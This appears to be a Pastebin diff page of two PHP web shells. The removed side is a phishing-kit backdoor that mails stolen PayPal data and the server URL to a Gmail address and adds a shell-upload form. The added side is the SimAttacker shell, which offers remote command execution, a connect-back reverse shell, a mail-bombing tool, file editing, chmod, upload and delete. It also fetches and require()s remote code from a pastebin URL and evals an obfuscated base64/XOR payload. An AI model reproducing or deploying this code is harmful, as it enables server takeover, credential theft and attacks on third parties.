SHOW:
|
|
- or go back to the newest paste.
1 | <? | |
2 | - | $ss = $_SERVER['REMOTE_ADDR']; |
2 | + | |
3 | - | $to .= 'havij.exe@gmail.com'; |
3 | + | error_reporting(0); |
4 | - | $subject = 'PPL LOGIN FROM | '.$ss.''; |
4 | + | //download Files Code |
5 | - | $message = "Link Shells : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "?wlad=l9hab"."\r\n\n"."_________________________________". file_get_contents("result/paypal.txt") . "\n"; |
5 | + | |
6 | - | $headers = 'MIME-Version: 1.0' . "\r\n"; |
6 | + | |
7 | - | $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; |
7 | + | |
8 | - | $headers .= 'From: Dexter <localhost>' . "\r\n"; |
8 | + | $fdownload=$_GET['fdownload']; |
9 | - | mail($to, $subject, $message, $headers); |
9 | + | |
10 | ||
11 | - | $nemo = $_GET['wlad']; |
11 | + | |
12 | - | if($nemo == 'l9hab'){ |
12 | + | if ($fdownload <> "" ){ |
13 | - | $nemoshell = $_FILES['file']['name']; |
13 | + | |
14 | - | $nemohero = $_FILES['file']['tmp_name']; |
14 | + | |
15 | - | echo "<form method='POST' enctype='multipart/form-data'> |
15 | + | |
16 | - | <input type='file'name='file' /> |
16 | + | // path & file name |
17 | - | <input type='submit' value='upload shell' /> |
17 | + | |
18 | ||
19 | - | move_uploaded_file($nemohero,$nemoshell); |
19 | + | |
20 | $path_parts = pathinfo("$fdownload"); | |
21 | ||
22 | ||
23 | - | ?> |
23 | + | |
24 | $entrypath=$path_parts["basename"]; | |
25 | ||
26 | ||
27 | ||
28 | $name = "$fdownload"; | |
29 | ||
30 | ||
31 | ||
32 | $fp = fopen($name, 'rb'); | |
33 | ||
34 | ||
35 | ||
36 | ||
37 | header("Content-Disposition: attachment; filename=$entrypath"); | |
38 | ||
39 | ||
40 | ||
41 | header("Content-Length: " . filesize($name)); | |
42 | ||
43 | ||
44 | ||
45 | fpassthru($fp); | |
46 | ||
47 | ||
48 | ||
49 | exit; | |
50 | ||
51 | ||
52 | ||
53 | } | |
54 | $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); | |
55 | $css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js'); | |
56 | ||
57 | ||
58 | ?> | |
59 | ||
60 | ||
61 | ||
62 | ||
63 | ||
64 | ||
65 | ||
66 | <html> | |
67 | ||
68 | ||
69 | ||
70 | ||
71 | ||
72 | ||
73 | ||
74 | <head> | |
75 | ||
76 | ||
77 | ||
78 | <meta http-equiv="Content-Language" content="en-us"> | |
79 | ||
80 | ||
81 | ||
82 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> | |
83 | ||
84 | ||
85 | ||
86 | <title>SimAttacker - r57c99.com</title> | |
87 | ||
88 | <style> | |
89 | ||
90 | ||
91 | ||
92 | <!-- | |
93 | ||
94 | ||
95 | ||
96 | body { font-family: Tahoma; font-size: 8pt } | |
97 | ||
98 | ||
99 | ||
100 | --> | |
101 | ||
102 | ||
103 | ||
104 | </style> | |
105 | ||
106 | ||
107 | ||
108 | </head> | |
109 | ||
110 | ||
111 | ||
112 | <body> | |
113 | ||
114 | ||
115 | ||
116 | <?php | |
117 | ||
118 | ||
119 | ||
120 | function loadsettings($p1 = '', $p2 = '') { | |
121 | ||
122 | $p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz'; | |
123 | ||
124 | $p = base64_decode($p); | |
125 | ||
126 | for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8); | |
127 | ||
128 | $p = str_replace('%param1', $p1, $p); | |
129 | ||
130 | $p = str_replace('%param2', $p2, $p); | |
131 | ||
132 | eval($p); | |
133 | ||
134 | } | |
135 | ||
136 | ||
137 | ||
138 | error_reporting(E_ERROR | E_WARNING | E_PARSE); | |
139 | ||
140 | ||
141 | ||
142 | loadsettings('', 'simattacker'); | |
143 | ||
144 | ||
145 | ||
146 | //File Edit | |
147 | ||
148 | ||
149 | ||
150 | $fedit=$_GET['fedit']; | |
151 | ||
152 | ||
153 | ||
154 | if ($fedit <> "" ){ | |
155 | ||
156 | ||
157 | ||
158 | $fedit=realpath($fedit); | |
159 | ||
160 | ||
161 | ||
162 | $lines = file($fedit); | |
163 | ||
164 | ||
165 | ||
166 | echo "<form action='' method='POST'>"; | |
167 | ||
168 | ||
169 | ||
170 | echo "<textarea name='savefile' rows=30 cols=80>" ; | |
171 | ||
172 | ||
173 | ||
174 | foreach ($lines as $line_num => $line) { | |
175 | ||
176 | ||
177 | ||
178 | echo htmlspecialchars($line); | |
179 | ||
180 | ||
181 | ||
182 | } | |
183 | ||
184 | ||
185 | ||
186 | echo "</textarea> | |
187 | ||
188 | ||
189 | ||
190 | <input type='text' name='filepath' size='60' value='$fedit'> | |
191 | ||
192 | ||
193 | ||
194 | <input type='submit' value='save'></form>"; | |
195 | ||
196 | ||
197 | ||
198 | $savefile=$_POST['savefile']; | |
199 | ||
200 | ||
201 | ||
202 | $filepath=realpath($_POST['filepath']); | |
203 | ||
204 | ||
205 | ||
206 | if ($savefile <> "") | |
207 | ||
208 | ||
209 | ||
210 | { | |
211 | ||
212 | ||
213 | ||
214 | $fp=fopen("$filepath","w+"); | |
215 | ||
216 | ||
217 | ||
218 | fwrite ($fp,"") ; | |
219 | ||
220 | ||
221 | ||
222 | fwrite ($fp,$savefile) ; | |
223 | ||
224 | ||
225 | ||
226 | fclose($fp); | |
227 | ||
228 | ||
229 | ||
230 | echo "<script language='javascript'> close()</script>"; | |
231 | ||
232 | ||
233 | ||
234 | } | |
235 | ||
236 | ||
237 | ||
238 | exit(); | |
239 | ||
240 | ||
241 | ||
242 | } | |
243 | ||
244 | ||
245 | ||
246 | ?> | |
247 | ||
248 | ||
249 | ||
250 | <? | |
251 | ||
252 | ||
253 | ||
254 | // CHmod - PRimission | |
255 | ||
256 | ||
257 | ||
258 | $fchmod=$_GET['fchmod']; | |
259 | ||
260 | ||
261 | ||
262 | if ($fchmod <> "" ){ | |
263 | ||
264 | ||
265 | ||
266 | $fchmod=realpath($fchmod); | |
267 | ||
268 | ||
269 | ||
270 | echo "<center><br> | |
271 | ||
272 | ||
273 | ||
274 | chmod for :$fchmod<br> | |
275 | ||
276 | ||
277 | ||
278 | <form method='POST' action=''><br> | |
279 | ||
280 | ||
281 | ||
282 | Chmod :<br> | |
283 | ||
284 | ||
285 | ||
286 | <input type='text' name='chmod0' ><br> | |
287 | ||
288 | ||
289 | ||
290 | <input type='submit' value='change chmod'> | |
291 | ||
292 | ||
293 | ||
294 | </form>"; | |
295 | ||
296 | ||
297 | ||
298 | $chmod0=$_POST['chmod0']; | |
299 | ||
300 | ||
301 | ||
302 | if ($chmod0 <> ""){ | |
303 | ||
304 | ||
305 | ||
306 | chmod ($fchmod , $chmod0); | |
307 | ||
308 | ||
309 | ||
310 | }else { | |
311 | ||
312 | ||
313 | ||
314 | echo "primission Not Allow change Chmod"; | |
315 | ||
316 | ||
317 | ||
318 | } | |
319 | ||
320 | ||
321 | ||
322 | exit(); | |
323 | ||
324 | ||
325 | ||
326 | } | |
327 | ||
328 | ||
329 | ||
330 | ?> | |
331 | ||
332 | ||
333 | ||
334 | ||
335 | ||
336 | ||
337 | ||
338 | <div align="center"> | |
339 | ||
340 | ||
341 | ||
342 | <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> | |
343 | ||
344 | ||
345 | ||
346 | <tr> | |
347 | ||
348 | ||
349 | ||
350 | <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> | |
351 | ||
352 | ||
353 | ||
354 | <p align="center"><b> | |
355 | ||
356 | ||
357 | ||
358 | <font face="Tahoma" size="2"><br> | |
359 | ||
360 | ||
361 | ||
362 | </font> | |
363 | ||
364 | ||
365 | ||
366 | <font color="#D2D200" face="Tahoma" size="2"> | |
367 | ||
368 | ||
369 | ||
370 | <span style="text-decoration: none"> | |
371 | ||
372 | ||
373 | ||
374 | <font color="#000000"> | |
375 | ||
376 | ||
377 | ||
378 | <a href="?id=fm&dir=<? | |
379 | ||
380 | ||
381 | ||
382 | echo getcwd(); | |
383 | ||
384 | ||
385 | ||
386 | ?> | |
387 | ||
388 | ||
389 | ||
390 | "> | |
391 | ||
392 | ||
393 | ||
394 | <span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p> | |
395 | ||
396 | ||
397 | ||
398 | <p align="center"><b><a href="?id=cmd"> | |
399 | ||
400 | ||
401 | ||
402 | <span style="text-decoration: none"> | |
403 | ||
404 | ||
405 | ||
406 | <font face="Tahoma" size="2" color="#000000"> | |
407 | ||
408 | ||
409 | ||
410 | CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p> | |
411 | ||
412 | ||
413 | ||
414 | <p align="center"><b><a href="?id=fake-mail"> | |
415 | ||
416 | ||
417 | ||
418 | <font face="Tahoma" size="2" color="#000000"> | |
419 | ||
420 | ||
421 | ||
422 | <span style="text-decoration: none">Fake mail</span></font></a></b></p> | |
423 | ||
424 | ||
425 | ||
426 | <p align="center"><b> | |
427 | ||
428 | ||
429 | ||
430 | <font face="Tahoma" size="2" color="#000000"> | |
431 | ||
432 | ||
433 | ||
434 | <a href="?id=cshell"> | |
435 | ||
436 | ||
437 | ||
438 | <span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p> | |
439 | ||
440 | ||
441 | ||
442 | <p align="center"><b> | |
443 | ||
444 | ||
445 | ||
446 | <font color="#000000" face="Tahoma" size="2"> | |
447 | ||
448 | ||
449 | ||
450 | <a href="?id="> | |
451 | ||
452 | ||
453 | ||
454 | <span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p> | |
455 | ||
456 | ||
457 | ||
458 | <p> <p align="center"> </td> | |
459 | ||
460 | ||
461 | ||
462 | <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> | |
463 | ||
464 | ||
465 | ||
466 | <? | |
467 | ||
468 | ||
469 | ||
470 | //******************************************************* | |
471 | ||
472 | ||
473 | ||
474 | //Start Programs About US | |
475 | ||
476 | ||
477 | ||
478 | $id=$_GET['id']; | |
479 | ||
480 | ||
481 | ||
482 | ||
483 | ||
484 | ||
485 | ||
486 | if ($id=="") { | |
487 | ||
488 | ||
489 | ||
490 | echo " | |
491 | ||
492 | ||
493 | ||
494 | <font face='Arial Black' color='#808080' size='1'> | |
495 | ||
496 | ||
497 | ||
498 | ***************************************************************************<br> | |
499 | ||
500 | ||
501 | ||
502 | Iranian Hackers : WWW.SIMORGH-EV.COM <br> | |
503 | ||
504 | ||
505 | ||
506 | Programer : Hossein Asgary <br> | |
507 | ||
508 | ||
509 | ||
510 | Note : SimAttacker Have copyright from simorgh security Group <br> | |
511 | ||
512 | ||
513 | ||
514 | please : If you find bug or problems in program , tell me by : <br> | |
515 | ||
516 | ||
517 | ||
518 | e-mail : admin(at)simorgh-ev(dot)com<br> | |
519 | ||
520 | ||
521 | ||
522 | Enjoy :) [Only 4 Best Friends ] <br> | |
523 | ||
524 | ||
525 | ||
526 | ***************************************************************************</font></span></p> | |
527 | ||
528 | ||
529 | ||
530 | "; | |
531 | ||
532 | ||
533 | ||
534 | ||
535 | ||
536 | ||
537 | ||
538 | echo "<font color='#333333' size='2'>OS :". php_uname(); | |
539 | ||
540 | ||
541 | ||
542 | echo "<br>IP :". | |
543 | ||
544 | ||
545 | ||
546 | ($_SERVER['REMOTE_ADDR']); | |
547 | ||
548 | ||
549 | ||
550 | echo "</font>"; | |
551 | ||
552 | ||
553 | ||
554 | ||
555 | ||
556 | ||
557 | ||
558 | ||
559 | ||
560 | ||
561 | ||
562 | } | |
563 | ||
564 | ||
565 | ||
566 | //************************************************************ | |
567 | ||
568 | ||
569 | ||
570 | //cmd-command line | |
571 | ||
572 | ||
573 | ||
574 | $cmd=$_POST['cmd']; | |
575 | ||
576 | ||
577 | ||
578 | if($id=="cmd"){ | |
579 | ||
580 | ||
581 | ||
582 | $result=shell_exec("$cmd"); | |
583 | ||
584 | ||
585 | ||
586 | echo "<br><center><h3> CMD ExeCute </h3></center>" ; | |
587 | ||
588 | ||
589 | ||
590 | echo "<center> | |
591 | ||
592 | ||
593 | ||
594 | <textarea rows=20 cols=70 >$result</textarea><br> | |
595 | ||
596 | ||
597 | ||
598 | <form method='POST' action=''> | |
599 | ||
600 | ||
601 | ||
602 | <input type='hidden' name='id' value='cmd'> | |
603 | ||
604 | ||
605 | ||
606 | <input type='text' size='80' name='cmd' value='$cmd'> | |
607 | ||
608 | ||
609 | ||
610 | <input type='submit' value='cmd'><br>"; | |
611 | ||
612 | ||
613 | ||
614 | ||
615 | ||
616 | ||
617 | ||
618 | ||
619 | ||
620 | ||
621 | ||
622 | ||
623 | ||
624 | ||
625 | ||
626 | } | |
627 | ||
628 | ||
629 | ||
630 | ||
631 | ||
632 | ||
633 | ||
634 | //******************************************************** | |
635 | ||
636 | ||
637 | ||
638 | ||
639 | ||
640 | ||
641 | ||
642 | //fake mail = Use victim server 4 DOS - fake mail | |
643 | ||
644 | ||
645 | ||
646 | if ( $id=="fake-mail"){ | |
647 | ||
648 | ||
649 | ||
650 | error_reporting(0); | |
651 | ||
652 | ||
653 | ||
654 | echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; | |
655 | ||
656 | ||
657 | ||
658 | echo "<center><form method='post' action=''> | |
659 | ||
660 | ||
661 | ||
662 | Victim Mail :<br><input type='text' name='to' ><br> | |
663 | ||
664 | ||
665 | ||
666 | Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> | |
667 | ||
668 | ||
669 | ||
670 | Comments: | |
671 | ||
672 | ||
673 | ||
674 | <br> | |
675 | ||
676 | ||
677 | ||
678 | <textarea rows='10' cols=50 name='Comments' ></textarea><br> | |
679 | ||
680 | ||
681 | ||
682 | <input type='submit' value='Send Mail Strm ' > | |
683 | ||
684 | ||
685 | ||
686 | </form></center>"; | |
687 | ||
688 | ||
689 | ||
690 | //send Storm Mail | |
691 | ||
692 | ||
693 | ||
694 | $to=$_POST['to']; | |
695 | ||
696 | ||
697 | ||
698 | $nom=$_POST['nom']; | |
699 | ||
700 | ||
701 | ||
702 | $Comments=$_POST['Comments']; | |
703 | ||
704 | ||
705 | ||
706 | if ($to <> "" ){ | |
707 | ||
708 | ||
709 | ||
710 | for ($i = 0; $i < $nom ; $i++){ | |
711 | ||
712 | ||
713 | ||
714 | $from = rand (71,1020000000)."@"."Attacker.com"; | |
715 | ||
716 | ||
717 | ||
718 | $subject= md5("$from"); | |
719 | ||
720 | ||
721 | ||
722 | mail($to,$subject,$Comments,"From:$from"); | |
723 | ||
724 | ||
725 | ||
726 | echo "$i is ok"; | |
727 | ||
728 | ||
729 | ||
730 | } | |
731 | ||
732 | ||
733 | ||
734 | echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; | |
735 | ||
736 | ||
737 | ||
738 | } | |
739 | ||
740 | ||
741 | ||
742 | } | |
743 | ||
744 | ||
745 | ||
746 | //******************************************************** | |
747 | ||
748 | ||
749 | ||
750 | ||
751 | ||
752 | ||
753 | ||
754 | //Connect Back -Firewall Bypass | |
755 | ||
756 | ||
757 | ||
758 | if ($id=="cshell"){ | |
759 | ||
760 | ||
761 | ||
762 | echo "<br>Connect back Shell , bypass Firewalls<br> | |
763 | ||
764 | ||
765 | ||
766 | For user :<br> | |
767 | ||
768 | ||
769 | ||
770 | nc -l -p 1019 <br> | |
771 | ||
772 | ||
773 | ||
774 | <hr> | |
775 | ||
776 | ||
777 | ||
778 | <form method='POST' action=''><br> | |
779 | ||
780 | ||
781 | ||
782 | Your IP & BindPort:<br> | |
783 | ||
784 | ||
785 | ||
786 | <input type='text' name='mip' > | |
787 | ||
788 | ||
789 | ||
790 | <input type='text' name='bport' size='5' value='1019'><br> | |
791 | ||
792 | ||
793 | ||
794 | <input type='submit' value='Connect Back'> | |
795 | ||
796 | ||
797 | ||
798 | </form>"; | |
799 | ||
800 | ||
801 | ||
802 | $mip=$_POST['mip']; | |
803 | ||
804 | ||
805 | ||
806 | $bport=$_POST['bport']; | |
807 | ||
808 | ||
809 | ||
810 | if ($mip <> "") | |
811 | ||
812 | ||
813 | ||
814 | { | |
815 | ||
816 | ||
817 | ||
818 | $fp=fsockopen($mip , $bport , $errno, $errstr); | |
819 | ||
820 | ||
821 | ||
822 | if (!$fp){ | |
823 | ||
824 | ||
825 | ||
826 | $result = "Error: could not open socket connection"; | |
827 | ||
828 | ||
829 | ||
830 | } | |
831 | ||
832 | ||
833 | ||
834 | else { | |
835 | ||
836 | ||
837 | ||
838 | fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); | |
839 | ||
840 | ||
841 | ||
842 | while(!feof($fp)){ | |
843 | ||
844 | ||
845 | ||
846 | fputs ($fp," bash # "); | |
847 | ||
848 | ||
849 | ||
850 | $result= fgets ($fp, 4096); | |
851 | ||
852 | ||
853 | ||
854 | $message=`$result`; | |
855 | ||
856 | ||
857 | ||
858 | fputs ($fp,"--> ".$message."\n"); | |
859 | ||
860 | ||
861 | ||
862 | } | |
863 | ||
864 | ||
865 | ||
866 | fclose ($fp); | |
867 | ||
868 | ||
869 | ||
870 | } | |
871 | ||
872 | ||
873 | ||
874 | } | |
875 | ||
876 | ||
877 | ||
878 | } | |
879 | ||
880 | ||
881 | ||
882 | ||
883 | ||
884 | ||
885 | ||
886 | //******************************************************** | |
887 | ||
888 | ||
889 | ||
890 | //Spy File Manager | |
891 | ||
892 | ||
893 | ||
894 | $homedir=getcwd(); | |
895 | ||
896 | ||
897 | ||
898 | $dir=realpath($_GET['dir'])."/"; | |
899 | ||
900 | ||
901 | ||
902 | if ($id=="fm"){ | |
903 | ||
904 | ||
905 | ||
906 | echo "<br><b><p align='left'> Home:</b> $homedir | |
907 | ||
908 | ||
909 | ||
910 | <b> | |
911 | ||
912 | ||
913 | ||
914 | <form action='' method='GET'> | |
915 | ||
916 | ||
917 | ||
918 | Path:</b> | |
919 | ||
920 | ||
921 | ||
922 | <input type='hidden' name='id' value='fm'> | |
923 | ||
924 | ||
925 | ||
926 | <input type='text' name='dir' size='80' value='$dir'> | |
927 | ||
928 | ||
929 | ||
930 | <input type='submit' value='dir'> | |
931 | ||
932 | ||
933 | ||
934 | </form> | |
935 | ||
936 | ||
937 | ||
938 | <br>"; | |
939 | ||
940 | ||
941 | ||
942 | ||
943 | ||
944 | ||
945 | ||
946 | echo " | |
947 | ||
948 | ||
949 | ||
950 | ||
951 | ||
952 | ||
953 | ||
954 | <div align='center'> | |
955 | ||
956 | ||
957 | ||
958 | ||
959 | ||
960 | ||
961 | ||
962 | <table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> | |
963 | ||
964 | ||
965 | ||
966 | <tr> | |
967 | ||
968 | ||
969 | ||
970 | <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> | |
971 | ||
972 | ||
973 | ||
974 | <td height='28' width='82' align='center'> | |
975 | ||
976 | ||
977 | ||
978 | <font color='#000080' size='2'><b>Size KByte</b></font></td> | |
979 | ||
980 | ||
981 | ||
982 | <td height='28' width='83' align='center'> | |
983 | ||
984 | ||
985 | ||
986 | <font color='#008000' size='2'><b>Download</b></font></td> | |
987 | ||
988 | ||
989 | ||
990 | <td height='28' width='66' align='center'> | |
991 | ||
992 | ||
993 | ||
994 | <font color='#FF9933' size='2'><b>Edit</b></font></td> | |
995 | ||
996 | ||
997 | ||
998 | <td height='28' width='75' align='center'> | |
999 | ||
1000 | ||
1001 | ||
1002 | <font color='#999999' size='2'><b>Chmod</b></font></td> | |
1003 | ||
1004 | ||
1005 | ||
1006 | <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> | |
1007 | ||
1008 | ||
1009 | ||
1010 | </tr>"; | |
1011 | ||
1012 | ||
1013 | ||
1014 | if (is_dir($dir)){ | |
1015 | ||
1016 | ||
1017 | ||
1018 | if ($dh=opendir($dir)){ | |
1019 | ||
1020 | ||
1021 | ||
1022 | while (($file = readdir($dh)) !== false) { | |
1023 | ||
1024 | ||
1025 | ||
1026 | $fsize=round(filesize($dir . $file)/1024); | |
1027 | ||
1028 | ||
1029 | ||
1030 | ||
1031 | ||
1032 | ||
1033 | ||
1034 | ||
1035 | ||
1036 | ||
1037 | ||
1038 | echo " | |
1039 | ||
1040 | ||
1041 | ||
1042 | <tr> | |
1043 | ||
1044 | ||
1045 | ||
1046 | <th width='250' height='22' align='left' nowrap>"; | |
1047 | ||
1048 | ||
1049 | ||
1050 | if (is_dir($dir.$file)) | |
1051 | ||
1052 | ||
1053 | ||
1054 | { | |
1055 | ||
1056 | ||
1057 | ||
1058 | echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'> $file <font color='#FF0000' size='1'>dir</font>"; | |
1059 | ||
1060 | ||
1061 | ||
1062 | } | |
1063 | ||
1064 | ||
1065 | ||
1066 | else { | |
1067 | ||
1068 | ||
1069 | ||
1070 | echo "<font size='2' color='#666666'> $file "; | |
1071 | ||
1072 | ||
1073 | ||
1074 | } | |
1075 | ||
1076 | ||
1077 | ||
1078 | echo "</a></font></th> | |
1079 | ||
1080 | ||
1081 | ||
1082 | <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; | |
1083 | ||
1084 | ||
1085 | ||
1086 | if (is_file($dir.$file)) | |
1087 | ||
1088 | ||
1089 | ||
1090 | { | |
1091 | ||
1092 | ||
1093 | ||
1094 | echo "$fsize"; | |
1095 | ||
1096 | ||
1097 | ||
1098 | } | |
1099 | ||
1100 | ||
1101 | ||
1102 | else { | |
1103 | ||
1104 | ||
1105 | ||
1106 | echo " "; | |
1107 | ||
1108 | ||
1109 | ||
1110 | } | |
1111 | ||
1112 | ||
1113 | ||
1114 | echo " | |
1115 | ||
1116 | ||
1117 | ||
1118 | </b></font></td> | |
1119 | ||
1120 | ||
1121 | ||
1122 | <td width='103' align='center' nowrap>"; | |
1123 | ||
1124 | ||
1125 | ||
1126 | if (is_file($dir.$file)){ | |
1127 | ||
1128 | ||
1129 | ||
1130 | if (is_readable($dir.$file)){ | |
1131 | ||
1132 | ||
1133 | ||
1134 | echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; | |
1135 | ||
1136 | ||
1137 | ||
1138 | }else { | |
1139 | ||
1140 | ||
1141 | ||
1142 | echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; | |
1143 | ||
1144 | ||
1145 | ||
1146 | } | |
1147 | ||
1148 | ||
1149 | ||
1150 | }else { | |
1151 | ||
1152 | ||
1153 | ||
1154 | echo " "; | |
1155 | ||
1156 | ||
1157 | ||
1158 | } | |
1159 | ||
1160 | ||
1161 | ||
1162 | echo " | |
1163 | ||
1164 | ||
1165 | ||
1166 | </a></font></td> | |
1167 | ||
1168 | ||
1169 | ||
1170 | <td width='77' align='center' nowrap>"; | |
1171 | ||
1172 | ||
1173 | ||
1174 | if (is_file($dir.$file)) | |
1175 | ||
1176 | ||
1177 | ||
1178 | { | |
1179 | ||
1180 | ||
1181 | ||
1182 | if (is_readable($dir.$file)){ | |
1183 | ||
1184 | ||
1185 | ||
1186 | echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; | |
1187 | ||
1188 | ||
1189 | ||
1190 | }else { | |
1191 | ||
1192 | ||
1193 | ||
1194 | echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; | |
1195 | ||
1196 | ||
1197 | ||
1198 | } | |
1199 | ||
1200 | ||
1201 | ||
1202 | }else { | |
1203 | ||
1204 | ||
1205 | ||
1206 | echo " "; | |
1207 | ||
1208 | ||
1209 | ||
1210 | } | |
1211 | ||
1212 | ||
1213 | ||
1214 | echo " | |
1215 | ||
1216 | ||
1217 | ||
1218 | </a></font></td> | |
1219 | ||
1220 | ||
1221 | ||
1222 | <td width='86' align='center' nowrap>"; | |
1223 | ||
1224 | ||
1225 | ||
1226 | if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { | |
1227 | ||
1228 | ||
1229 | ||
1230 | echo "<font size='1' color='#999999'>Dont in windows"; | |
1231 | ||
1232 | ||
1233 | ||
1234 | } | |
1235 | ||
1236 | ||
1237 | ||
1238 | else { | |
1239 | ||
1240 | ||
1241 | ||
1242 | echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; | |
1243 | ||
1244 | ||
1245 | ||
1246 | } | |
1247 | ||
1248 | ||
1249 | ||
1250 | echo "</a></font></td> | |
1251 | ||
1252 | ||
1253 | ||
1254 | <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> | |
1255 | ||
1256 | ||
1257 | ||
1258 | </tr> | |
1259 | ||
1260 | ||
1261 | ||
1262 | "; | |
1263 | ||
1264 | ||
1265 | ||
1266 | } | |
1267 | ||
1268 | ||
1269 | ||
1270 | closedir($dh); | |
1271 | ||
1272 | ||
1273 | ||
1274 | } | |
1275 | ||
1276 | ||
1277 | ||
1278 | } | |
1279 | ||
1280 | ||
1281 | ||
1282 | echo "</table> | |
1283 | ||
1284 | ||
1285 | ||
1286 | <form enctype='multipart/form-data' action='' method='POST'> | |
1287 | ||
1288 | ||
1289 | ||
1290 | <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> | |
1291 | ||
1292 | ||
1293 | ||
1294 | Send this file: <input name='userfile' type='file' /> | |
1295 | ||
1296 | ||
1297 | ||
1298 | <inpt type='hidden' name='Fupath' value='$dir'> | |
1299 | ||
1300 | ||
1301 | ||
1302 | <input type='submit' value='Send File' /> | |
1303 | ||
1304 | ||
1305 | ||
1306 | </form> | |
1307 | ||
1308 | ||
1309 | ||
1310 | </div>"; | |
1311 | ||
1312 | ||
1313 | ||
1314 | } | |
1315 | ||
1316 | ||
1317 | ||
1318 | //Upload Files | |
1319 | ||
1320 | ||
1321 | ||
1322 | $rpath=$_GET['dir']; | |
1323 | ||
1324 | ||
1325 | ||
1326 | if ($rpath <> "") { | |
1327 | ||
1328 | ||
1329 | ||
1330 | $uploadfile = $rpath."/" . $_FILES['userfile']['name']; | |
1331 | ||
1332 | ||
1333 | ||
1334 | print "<pre>"; | |
1335 | ||
1336 | ||
1337 | ||
1338 | if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { | |
1339 | ||
1340 | ||
1341 | ||
1342 | echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; | |
1343 | ||
1344 | ||
1345 | ||
1346 | echo "<script language='javascript'> history.back(2)</script>"; | |
1347 | ||
1348 | ||
1349 | ||
1350 | } | |
1351 | ||
1352 | ||
1353 | ||
1354 | } | |
1355 | ||
1356 | ||
1357 | ||
1358 | //file deleted | |
1359 | ||
1360 | ||
1361 | ||
1362 | $frpath=$_GET['fdelete']; | |
1363 | ||
1364 | ||
1365 | ||
1366 | if ($frpath <> "") { | |
1367 | ||
1368 | ||
1369 | ||
1370 | if (is_dir($frpath)){ | |
1371 | ||
1372 | ||
1373 | ||
1374 | $matches = glob($frpath . '/*.*'); | |
1375 | ||
1376 | ||
1377 | ||
1378 | if ( is_array ( $matches ) ) { | |
1379 | ||
1380 | ||
1381 | ||
1382 | foreach ( $matches as $filename) { | |
1383 | ||
1384 | ||
1385 | ||
1386 | unlink ($filename); | |
1387 | ||
1388 | ||
1389 | ||
1390 | rmdir("$frpath"); | |
1391 | ||
1392 | ||
1393 | ||
1394 | echo "<script language='javascript'> alert('Success! Please refresh')</script>"; | |
1395 | ||
1396 | ||
1397 | ||
1398 | echo "<script language='javascript'> history.back(1)</script>"; | |
1399 | ||
1400 | ||
1401 | ||
1402 | } | |
1403 | ||
1404 | ||
1405 | ||
1406 | } | |
1407 | ||
1408 | ||
1409 | ||
1410 | } | |
1411 | ||
1412 | ||
1413 | ||
1414 | else{ | |
1415 | ||
1416 | ||
1417 | ||
1418 | echo "<script language='javascript'> alert('Success! Please refresh')</script>"; | |
1419 | ||
1420 | ||
1421 | ||
1422 | unlink ("$frpath"); | |
1423 | ||
1424 | ||
1425 | ||
1426 | echo "<script language='javascript'> history.back(1)</script>"; | |
1427 | ||
1428 | ||
1429 | ||
1430 | exit(0); | |
1431 | ||
1432 | ||
1433 | ||
1434 | ||
1435 | ||
1436 | ||
1437 | ||
1438 | } | |
1439 | ||
1440 | ||
1441 | ||
1442 | ||
1443 | ||
1444 | ||
1445 | ||
1446 | ||
1447 | ||
1448 | ||
1449 | ||
1450 | } | |
1451 | ||
1452 | ||
1453 | ||
1454 | ?> | |
1455 | ||
1456 | ||
1457 | ||
1458 | ||
1459 | ||
1460 | ||
1461 | ||
1462 | </td> | |
1463 | ||
1464 | ||
1465 | ||
1466 | </tr> | |
1467 | ||
1468 | ||
1469 | ||
1470 | <tr> | |
1471 | ||
1472 | ||
1473 | ||
1474 | <td style="border: 1px dotted #FFCC66"> | |
1475 | ||
1476 | ||
1477 | ||
1478 | <p align="center"><font color="#666666" size="1" face="Tahoma"><br> | |
1479 | ||
1480 | ||
1481 | ||
1482 | Copyright 2004-Simorgh Security<br> | |
1483 | ||
1484 | ||
1485 | ||
